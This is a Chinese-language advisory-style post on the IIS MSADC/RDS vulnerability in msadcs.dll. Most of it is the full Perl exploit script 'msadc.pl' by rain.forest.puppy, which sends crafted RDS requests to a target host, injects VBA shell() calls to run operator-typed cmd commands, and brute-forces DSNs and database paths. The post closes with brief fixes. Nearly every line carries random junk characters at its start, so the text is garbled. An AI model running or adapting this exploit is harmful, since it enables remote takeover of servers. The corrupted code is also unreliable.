IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~#so4<A`3 9 X1vL 涉及程序：
c*axw%Us Microsoft NT server
h7.jWJTo u f<%!=e 描述：
W:j9 KhvT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]fh(b)8_, I5[@C<b 详细：
Je"X IhBr 如果你没有时间读详细内容的话，就删除:
+7lr#AvU/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
N|"q6M !ZL 有关的安全问题就没有了。
|FaK = e E.N>,N 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
s)3CosU 2|1CGHj\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
`B8`<3k/( 关于利用ODBC远程漏洞的描述，请参看:
<jFov`^ ZF #lh] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm e{4e<hd \% }]wf} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1W0[|Hf2v* http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;*nzb!u\\ #@V<{/;49 这里不再论述。
.2rpQa/h S}Z@g 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
I:al[V2g .bV^u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*GhV1# < 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
9P#kV@%(0c m4~~ q[ t R;U 4a2~ #将下面这段保存为txt文件，然后: "perl -x 文件名"
8In~qf I3Z\]BI #!perl
@3b @]l5 #
%/nDG 9l # MSADC/RDS 'usage' (aka exploit) script
K'E)?NW69 #
EN}4-P/5 # by rain.forest.puppy
G: |]w,^i #
>x~Qa@s; # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0&kmP ' # beta test and find errors!
/{[tU-}qJ hC X/k<}I use Socket; use Getopt::Std;
?m VSc/ getopts("e:vd:h:XR", \%args);
u]9 #d^%V o?= &kx print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Jfv'M<I qM
Qu!%o if (!defined $args{h} && !defined $args{R}) {
" ~K ph0- print qq~
>wYmx4W> Usage: msadc.pl -h <host> { -d <delay> -X -v }
U T 7'- -h <host> = host you want to scan (ip or domain)
S5L0[SZ$! -d <seconds> = delay between calls, default 1 second
6I _ 4 { -X = dump Index Server path table, if available
l8 %BRG -v = verbose
Y>2#9LA -e = external dictionary file for step 5
\SgBI/L^ U:
< Or a -R will resume a command session
J*%IvRg
3F6A.Ny
~; exit;}
&`]T# "> RA+M. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
M3d%$q)<rW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
x
FvK jO) if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j@UE#I|h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Hy'EbQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
w:1U wgcPC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JnQ@uZb` , a2=OV if (!defined $args{R}){ $ret = &has_msadc;
@,G\` ;Ma die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
LH@Kn?R6 x A*6Z)Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
AS4oz:B . "cmd /c ";
)T
slI $in=<STDIN>; chomp $in;
m("KLp8 $command="cmd /c " . $in ;
9*!*n ~ Cnu])R if (defined $args{R}) {&load; exit;}
,HNk< W `o O*ORq& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ak}`zIo &try_btcustmr;
N
/;Vg ^Wx ~xJr|_,gp print "\nStep 2: Trying to make our own DSN...";
c|iTRco &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fCO<-L9k$ 5@W 63!N print "\nStep 3: Trying known DSNs...";
h ]G vt 5 &known_dsn;
egWfKL&iy G ,`]2'(@ print "\nStep 4: Trying known .mdbs...";
&g8 Xjx&zj &known_mdb;
?l |&JgJ$ v(uNqX.BC if (defined $args{e}){
4^ 0CHy print "\nStep 5: Trying dictionary of DSN names...";
!,J] 5$M &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!"F8jA} urL@SeV+$ print "Sorry Charley...maybe next time?\n";
Cf
v1nU W exit;
EyV5FWb58 &-vHb ##############################################################################
YQ1rS X3 %r(qQM.Pl sub sendraw { # ripped and modded from whisker
G]Im.x3O- sleep($delay); # it's a DoS on the server! At least on mine...
vZqW,GDfXo my ($pstr)=@_;
cwHbm% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
au+:-Khm die("Socket problems\n");
]% G# x if(connect(S,pack "SnA4x8",2,80,$target)){
[KW)z#`* select(S); $|=1;
zCS }i_ p print $pstr; my @in=<S>;
cw_B^f 8^ select(STDOUT); close(S);
VEL!-e^X& return @in;
3r?T|>| } else { die("Can't connect...\n"); }}
.\
vrBf K 'K/}q< ##############################################################################
LF:~&
m G }]'}FUp sub make_header { # make the HTTP request
[xdVuL;N my $msadc=<<EOT
j0=H6 Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9`&sZ|"3 User-Agent: ACTIVEDATA
}n,LvA@[0 Host: $ip
m&MZn2u[4i Content-Length: $clen
?. L]QU Connection: Keep-Alive
3CSw cD A(+V{1 L' ADCClientVersion:01.06
\ ~C/ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Ga
<=Di): ;hd%w mE --!ADM!ROX!YOUR!WORLD!
!xU\s'I+# Content-Type: application/x-varg
#=F{G4d)!= Content-Length: $reqlen
A`I1G9s uy|]@|J EOT
u3jLe=Y'\ ; $msadc=~s/\n/\r\n/g;
!G'wC0 return $msadc;}
btDTC 9O Izfq`zS+\s ##############################################################################
O4^' H}* b:
I0Zv6 sub make_req { # make the RDS request
)[E7\pc my ($switch, $p1, $p2)=@_;
ftV~!r my $req=""; my $t1, $t2, $query, $dsn;
c48I-{? D3+<16[, if ($switch==1){ # this is the btcustmr.mdb query
,K.Wni#m $query="Select * from Customers where City=" . make_shell();
|A=~aQot $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:vFYqoCn $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
T I yHM1+ Ozsvsa elsif ($switch==2){ # this is general make table query
AFsYP/ g] $query="create table AZZ (B int, C varchar(10))";
MJn= $dsn="$p1";}
% ^u
e ^>y |{;` elsif ($switch==3){ # this is general exploit table query
a,xy3 8T< $query="select * from AZZ where C=" . make_shell();
aMxM3" $dsn="$p1";}
w:~vfdJ Ou|kb61zg elsif ($switch==4){ # attempt to hork file info from index server
uPb. uG $query="select path from scope()";
anH ]] $dsn="Provider=MSIDXS;";}
Zo Ra^o :v E\r#hJ" elsif ($switch==5){ # bad query
"(p&Oz $query="select";
1<0Z @D~F $dsn="$p1";}
B2)5Z] j:2*hF! E $t1= make_unicode($query);
l%
{<+N $t2= make_unicode($dsn);
7lzmAih $req = "\x02\x00\x03\x00";
]C-a[
$req.= "\x08\x00" . pack ("S1", length($t1));
#V@vz#bo= $req.= "\x00\x00" . $t1 ;
fDChq[LAn $req.= "\x08\x00" . pack ("S1", length($t2));
:M@#. $req.= "\x00\x00" . $t2 ;
X09i +/ICK $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
byk9"QeY\ return $req;}
{@t6[g++ '*K%\] ##############################################################################
a OmQ<N]a ^W0eRT sub make_shell { # this makes the shell() statement
aM\Ph&c7e' return "'|shell(\"$command\")|'";}
|O*?[ |`H ,,h>_IA ##############################################################################
WG&WPV/p u )Vn7zh sub make_unicode { # quick little function to convert to unicode
X/D%
cQ6 my ($in)=@_; my $out;
E /C3t2@- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
\"+}-!wr return $out;}
$N4i)>&T2 cM=_i{c ##############################################################################
M1K[6V! Ge*N%=MX 8 sub rdo_success { # checks for RDO return success (this is kludge)
4B-+DH>{6 my (@in) = @_; my $base=content_start(@in);
Fw%S%*B8g if($in[$base]=~/multipart\/mixed/){
CmtDfE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[tJp^?6 * return 0;}
z2;<i|Ez0 xv_Z$&9e>l ##############################################################################
u/`
t+-A 8@KGc
)k sub make_dsn { # this makes a DSN for us
_$T.N my @drives=("c","d","e","f");
D\z`+TyJ print "\nMaking DSN: ";
pH396GFIW foreach $drive (@drives) {
4B J w+EV8 print "$drive: ";
oK2j PP my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
J+qcA} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
9lqD~H. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
] q|U0(q9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/)V8X# , return 0 if $2 eq "404"; # not found/doesn't exist
w(q\75 if($2 eq "200") {
X1&c?T1 %[ foreach $line (@results) {
JiX-t\V ~ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
q =26($ } return 0;}
!Ic~_7" }t1 J`+x% ##############################################################################
Qt=O iKZ W'Y#(N[ktP sub verify_exists {
9gETWz(3I my ($page)=@_;
A3Vj3em my @results=sendraw("GET $page HTTP/1.0\n\n");
-8sB \E return $results[0];}
gz p]hh@4 Yi|Nd ; ##############################################################################
Ne}x(uRn mzn#4;m$ sub try_btcustmr {
W;.L N<bx my @drives=("c","d","e","f");
O/fm/ my @dirs=("winnt","winnt35","winnt351","win","windows");
er 2# h ifadnl26
s foreach $dir (@dirs) {
>2#F5c6 7 print "$dir -> "; # fun status so you can see progress
+QEiY~i foreach $drive (@drives) {
YvFt*t
print "$drive: "; # ditto
69zM WuY $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#$u7:p
[t $reqlenlen=length( "$reqlen" );
^dKtUH/78G $clen= 206 + $reqlenlen + $reqlen;
(q=),3/<pU P?<G:]W my @results=sendraw(make_header() . make_req(1,$drive,$dir));
E7@m& R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*YP;HL else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
H) q_9<;
{BD G;e ##############################################################################
x,QXOh\a Jy-V\.N>s sub odbc_error {
8LGN V&Edg my (@in)=@_; my $base;
!4T7@V`G my $base = content_start(@in);
N?c!uO|h| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#M[%JTTn $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}i9VV+L#1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3 2K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9@ :QBe3] return $in[$base+4].$in[$base+5].$in[$base+6];}
)/BbASO$)Z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ji0FHa_ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m@g9+ 7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
EskD)Sl +{s -F g ##############################################################################
a7TvX{<d XK/bE35%^! sub verbose {
d0 8:lYQ my ($in)=@_;
jJe?pT]o return if !$verbose;
*^p^tK print STDOUT "\n$in\n";}
)Vpt.4IBd A_I\6&b4 ##############################################################################
(A~w IKY, XM:\N$tg sub save {
70N Lv my ($p1, $p2, $p3, $p4)=@_;
X 3(*bj>P open(OUT, ">rds.save") || print "Problem saving parameters...\n";
q4Y7 HE|ym print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
; r95i1a' close OUT;}
Z4D[nPm$ X=%e'P*X ##############################################################################
rWip[>^ B[;aNy d< sub load {
}k_'a^;C1 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!5 >PZ{J open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{,e-; 2q @p=<IN>; close(IN);
VH<-||X/4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
G@o\D-$ $target= inet_aton($ip) || die("inet_aton problems");
$)VnHr `hy print "Resuming to $ip ...";
c6MMI]+8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
WL}XD
K x if($p[1]==1) {
x]~ &4fp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=v=u+n O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
o}y(T07n my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{z |+ .D if (rdo_success(@results)){print "Success!\n";}
Pk&sY' else { print "failed\n"; verbose(odbc_error(@results));}}
.hK:-q, elsif ($p[1]==3){
|}wT/3>\ if(run_query("$p[3]")){
@8 lT*O2j print "Success!\n";} else { print "failed\n"; }}
yG,uD!N]| elsif ($p[1]==4){
9rgvwko if(run_query($drvst . "$p[3]")){
!iU$-/,1 e print "Success!\n"; } else { print "failed\n"; }}
f<3lxu exit;}
a f}JS2=$ qzi i[Mf ##############################################################################
8T3Nz8Q7
V6fJaZ sub create_table {
O@`KG ZEPY my ($in)=@_;
: d wP $reqlen=length( make_req(2,$in,"") ) - 28;
4z,/ 0 $reqlenlen=length( "$reqlen" );
Fq'Ds[wd5 $clen= 206 + $reqlenlen + $reqlen;
{Hzj(c~S? my @results=sendraw(make_header() . make_req(2,$in,""));
FA}y"I'W return 1 if rdo_success(@results);
;.3
{}.Y my $temp= odbc_error(@results); verbose($temp);
aA'of>'ib| return 1 if $temp=~/Table 'AZZ' already exists/;
C(2kx4 n return 0;}
RSu p _4A pg{cZ1/ ##############################################################################
NF'<8{~ _Oy;:XN sub known_dsn {
N, 4hh? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
O[ F my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
/&zlC{:G92 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1Hs'YzvY "banner", "banners", "ads", "ADCDemo", "ADCTest");
5.QY{ + k I8{
mk h foreach $dSn (@dsns) {
"pc
t# print ".";
'CCAuN>J next if (!is_access("DSN=$dSn"));
[I}xR(a@n if(create_table("DSN=$dSn")){
L#\5)mO.v print "$dSn successful\n";
'Ej+Jczzpp if(run_query("DSN=$dSn")){
3|bbJ6*.< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bRK\Tua
6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
S%jFH4# 5 TLE%#G@+ ##############################################################################
iKG, " )&qr2Cm* sub is_access {
e//jd&G my ($in)=@_;
)a<MW66 $reqlen=length( make_req(5,$in,"") ) - 28;
{TaYkuWS $reqlenlen=length( "$reqlen" );
~ "r(PCa@ $clen= 206 + $reqlenlen + $reqlen;
>S]"-0tGD= my @results=sendraw(make_header() . make_req(5,$in,""));
D+{& zo my $temp= odbc_error(@results);
~#7uNH2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
H/ar: j return 0;}
\w)ddc!ZS \f@obp ##############################################################################
`@ 8O|j %]N|?9L"= sub run_query {
w|61dB my ($in)=@_;
m+xub*/ $reqlen=length( make_req(3,$in,"") ) - 28;
d2T a&Md $reqlenlen=length( "$reqlen" );
Jth U' "K $clen= 206 + $reqlenlen + $reqlen;
:-o MkBS my @results=sendraw(make_header() . make_req(3,$in,""));
XT1P.
w[aA return 1 if rdo_success(@results);
AYfL} X<Ig my $temp= odbc_error(@results); verbose($temp);
f9vit Fkb+ return 0;}
Ugme>60`'k }4kQu#0o") ##############################################################################
(W?t'J^# y:Aha#< sub known_mdb {
k\IdKiOj!D my @drives=("c","d","e","f","g");
9 *VL | my @dirs=("winnt","winnt35","winnt351","win","windows");
/q)
H0b my $dir, $drive, $mdb;
"G@(Cb*+T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#szIYyk oj@=Cq':- # this is sparse, because I don't know of many
A0bR.*3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
S84S/y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0{-?Wy "\\system32\\certmdb.mdb",
+3Z+#nGtk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+%Z:k Y ~@ ( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m;!X{CV "\\cfusion\\cfapps\\forums\\forums_.mdb",
JA4}B wn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
k}!'@ "\\cfusion\\cfapps\\security\\realm_.mdb",
xXS fYW "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GU]kgwSf i "\\cfusion\\database\\cfexamples.mdb",
<,Mf[R2N> "\\cfusion\\database\\cfsnippets.mdb",
L. 8`5<ITw "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
uw(Ml= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Gh 352 "\\cfusion\\brighttiger\\database\\cleam.mdb",
3gtKD9RL: "\\cfusion\\database\\smpolicy.mdb",
-B #K}xL|x "\\cfusion\\database\cypress.mdb",
1 ]ePU8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
m$7C{Mr' "\\website\\cgi-win\\dbsample.mdb",
HhwAzk/G~ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X$_pDF&\z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
S3&n?\CO: ); #these are just
Fs S.9
`B foreach $drive (@drives) {
U65oh8x foreach $dir (@dirs){
V!N RBXg foreach $mdb (@sysmdbs) {
wLNk XC print ".";
?} lqu7S if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
L
nyow} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
yT[=!M if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
a*uG^~
). print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1\nzfxx } else { print "Something's borked. Use verbose next time\n"; }}}}}
O`T_'.Lk ^fmuBe}d{ foreach $drive (@drives) {
$i1:--~2\ foreach $mdb (@mdbs) {
4vV\vXT * print ".";
$LiBJ~vV< if(create_table($drv . $drive . $dir . $mdb)){
.yD5 >iBh
print "\n" . $drive . $dir . $mdb . " successful\n";
wCu!dxT|, if(run_query($drv . $drive . $dir . $mdb)){
J0B*V0'zR print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
@U@O#+d'ZR } else { print "Something's borked. Use verbose next time\n"; }}}}
}z q o<o }
$F NH:r< N%%trlDXD ##############################################################################
Lcf?VV} >=;hnLu sub hork_idx {
`U&'71B^ print "\nAttempting to dump Index Server tables...\n";
1L? d/j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3#y`6e=5 $reqlen=length( make_req(4,"","") ) - 28;
[z!pm-Ir $reqlenlen=length( "$reqlen" );
=Aw`0 $clen= 206 + $reqlenlen + $reqlen;
1DGl[k/zv my @results=sendraw2(make_header() . make_req(4,"",""));
Z[>fFg~N4 if (rdo_success(@results)){
8U}+9 my $max=@results; my $c; my %d;
I'[;E.KU for($c=19; $c<$max; $c++){
AnK X4Q $results[$c]=~s/\x00//g;
./^8L( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
8dC RSU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
NE4]i $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
fYpJ2y-sA $d{"$1$2"}="";}
{ f t |* foreach $c (keys %d){ print "$c\n"; }
| GN/{KH] } else {print "Index server doesn't seem to be installed.\n"; }}
'p@m`)Z )0g!lCfb ##############################################################################
q $"?P .`(YCn ?\ sub dsn_dict {
.1z=VLKF' open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.zTkOk L while(<IN>){
Fk9]u^j $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$ wDSED - next if (!is_access("DSN=$dSn"));
|*M07Hc x if(create_table("DSN=$dSn")){
9e.$x%7j print "$dSn successful\n";
^%tn$4@@Z. if(run_query("DSN=$dSn")){
%e)? Mem print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5 \h 6' print "Something's borked. Use verbose next time\n";}}}
J'tJ Y% ` print "\n"; close(IN);}
T# i~/ <":83RCS ##############################################################################
.gt;:8fw{ <j/wK]d*/ sub sendraw2 { # ripped and modded from whisker
HLQ>
|,9 sleep($delay); # it's a DoS on the server! At least on mine...
DiGHo~ f my ($pstr)=@_;
T3LVn<Lm\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*`LrvE@t die("Socket problems\n");
JSmg6l?[u if(connect(S,pack "SnA4x8",2,80,$target)){
Ql9>i;AGV print "Connected. Getting data";
1_l)$" open(OUT,">raw.out"); my @in;
+KWO`WR select(S); $|=1; print $pstr;
6/ T/A+u while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
P&<NcOCL& close(OUT); select(STDOUT); close(S); return @in;
Q2:r WE{K! } else { die("Can't connect...\n"); }}
@(+\*]?^& \D WKG~r-% ##############################################################################
)>" pm {g2 ,X;$-. sub content_start { # this will take in the server headers
}EP}D?Mmu my (@in)=@_; my $c;
'-Oh$hqCx| for ($c=1;$c<500;$c++) {
U#I we= if($in[$c] =~/^\x0d\x0a/){
ov daK"q2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
)1gT&sU 0 else { return $c+1; }}}
2%J] } )
return -1;} # it should never get here actually
R&g&BF h7@%}< % ##############################################################################
RGkV%u^ f.bw A x sub funky {
}RKsS3} my (@in)=@_; my $error=odbc_error(@in);
n_k`L(8* if($error=~/ADO could not find the specified provider/){
A (p^Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
=e0MEV#s. exit;}
C ' {B if($error=~/A Handler is required/){
-$Kc"rX print "\nServer has custom handler filters (they most likely are patched)\n";
g9NE>n(3 exit;}
s@G E(Pu7 if($error=~/specified Handler has denied Access/){
1ox#hQBoS print "\nServer has custom handler filters (they most likely are patched)\n";
+U%epq exit;}}
=sefT @< !ZvVj\ { ##############################################################################
%d40us8 E ^f-)gZ& sub has_msadc {
vK+!m~kD u my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)X:Sf k my $base=content_start(@results);
og~a*my3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3x 7fa^umR return 0;}
: (.:bf 9a_UxF+6/ ########################
_a |g
> ^)a:D KL -B!
a
O65^ 解决方案：
;' |CSjco 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>n(dyU @ 2、移除web 目录: /msadc
